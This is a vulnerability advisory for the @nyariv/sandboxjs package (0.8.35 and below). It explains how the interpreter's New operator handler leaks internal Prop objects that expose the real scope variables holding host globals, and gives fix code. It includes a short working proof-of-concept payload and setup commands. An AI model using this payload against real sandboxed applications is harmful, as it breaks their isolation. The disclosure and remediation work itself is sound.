SandboxJS: Sandbox Escape via Prop Object Leak in New Handler

Description

A scope modification vulnerability exists in @nyariv/sandboxjs version 0.8.35 and below. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the new operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution.

Vulnerable Code Location

Primary: The New Operator Handler

File: src/executor.ts, lines 1275–1280

addOps<new (...args: unknown[]) => unknown, unknown[]>(
  LispType.New,
  ({ done, a, b, context }) => {
    if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {
      throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);
    }
    done(undefined, new a(...b));  // ← b is NOT sanitized, return is NOT sanitized
  },
);

This handler has two missing sanitization steps:

1. Arguments (b) are not passed through valueOrProp() — Constructor arguments contain raw Prop objects (internal interpreter wrappers) instead of extracted values.

2. Return value is not passed through getGlobalProp() or sanitizeArray() — The constructed object is returned directly to the execution tree without any sanitization.

Comparison: The Call Handler (Correctly Implemented)

File: src/executor.ts, lines 493–605

addOps<unknown, Lisp[], any>(LispType.Call, ({ done, a, b, obj, context }) => {
  // ...
  const vals = b
    .map((item) => {
      if (item instanceof SpreadArray) {
        return [...item.item];
      } else {
        return [item];
      }
    })
    .flat()
    .map((item) => valueOrProp(item, context));  // ← Arguments ARE sanitized
  // ...
  let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals));
  ret = getGlobalProp(ret, context) || ret;  // ← Return IS sanitized
  sanitizeArray(ret, context);               // ← Return IS sanitized
  done(undefined, ret);
});

The Call handler correctly sanitizes both arguments (via valueOrProp) and return values (via getGlobalProp and sanitizeArray). The New handler does neither.

Why This Is Vulnerable

Step 1: What is a Prop Object?

The sandbox interpreter wraps every value access in a Prop object (defined at src/utils.ts, lines 565–582). A Prop has:

class Prop {
  context: any;       // The object the property belongs to
  prop: PropertyKey;  // The property name
  isConst: boolean;
  isGlobal: boolean;
  isVariable: boolean;
}

When sandboxed code accesses a variable like isNaN, the interpreter creates Prop(scope.allVars, 'isNaN'). The context field is a direct reference to the scope's variable storage object.

Step 2: What is in scope.allVars?

At the global scope level, scope.allVars is the same object as options.globals — the SAFE_GLOBALS object containing:

{
  globalThis: <real globalThis>,
  Function: <real Function constructor>,
  eval: <real eval function>,
  console: { log: console.log, ... },
  Array, Object, Map, Set, Promise, Date, Error, RegExp,
  isNaN, parseInt, parseFloat, ...
}

These are the real host JavaScript objects. The sandbox normally protects them by intercepting reads through the Prop handler and replacing dangerous ones via the evals Map.

Step 3: How the Prop Leaks Through new

When sandboxed code executes new Constructor(someVariable):

1. The interpreter evaluates someVariable — this produces a Prop object: Prop(scope.allVars, 'someVariable')
2. The New handler receives this Prop as-is in the b array (no valueOrProp() call)
3. new Constructor(...[Prop]) passes the raw Prop object to the constructor function
4. Inside the constructor, the Prop is received as a named parameter
5. The constructor reads arg.context — this is the raw scope.allVars object containing all real globals
6. The constructor stores this reference: this.scope = arg.context
7. The constructed object is returned without sanitization

Proof of Concept

Step-by-Step Reproduction (Terminal)

Step 1: Create a new directory and initialize

mkdir sandboxjs-poc
cd sandboxjs-poc
npm init -y

Step 2: Set module type to ESM

node -e "const p=require('./package.json');p.type='module';require('fs').writeFileSync('package.json',JSON.stringify(p,null,2))"

Step 3: Install the vulnerable package

npm install @nyariv/sandboxjs@0.8.35

Step 4: Create the minimal exploit

cat > exploit.mjs << 'EOF'
import pkg from '@nyariv/sandboxjs';
const Sandbox = pkg.default || pkg;
const sandbox = new Sandbox();
const {scope} = sandbox.compile(`function E(a){this.scope=a.context}return new E(isNaN)`)({}).run();
console.log(scope);
EOF

Step 5: Run it

node exploit.mjs

Impact

An attacker who can control code executed inside the sandbox can modify scope variables above its current available scope

The attack requires no authentication, no user interaction, and works with default sandbox configuration. The only requirement is that the host application reads the return value from sandbox.compile(code)({}).run(), which is the standard and documented usage pattern.

Suggested Remediation

Fix 1: Sanitize New Handler Arguments (Critical)

Add valueOrProp() to constructor arguments, matching the Call handler's behavior:

// src/executor.ts line 1275-1280
addOps<new (...args: unknown[]) => unknown, unknown[]>(
  LispType.New,
  ({ done, a, b, context }) => {
    if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {
      throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);
    }
    const sanitizedArgs = b.map((item) => valueOrProp(item, context));
    const result = new a(...sanitizedArgs);
    const sanitized = getGlobalProp(result, context) || result;
    sanitizeArray(sanitized, context);
    done(undefined, sanitized);
  },
);

Fix 2: Sanitize Sandbox Return Values (Defense in Depth)

Add deep sanitization in Sandbox.ts to strip internal references from any value returned to the host, regardless of how it was produced.

Fix 3: Freeze the Globals Object (Defense in Depth)

Freeze or seal options.globals and scope.allVars after construction to prevent mutation via the Prop leak:

Object.freeze(options.globals);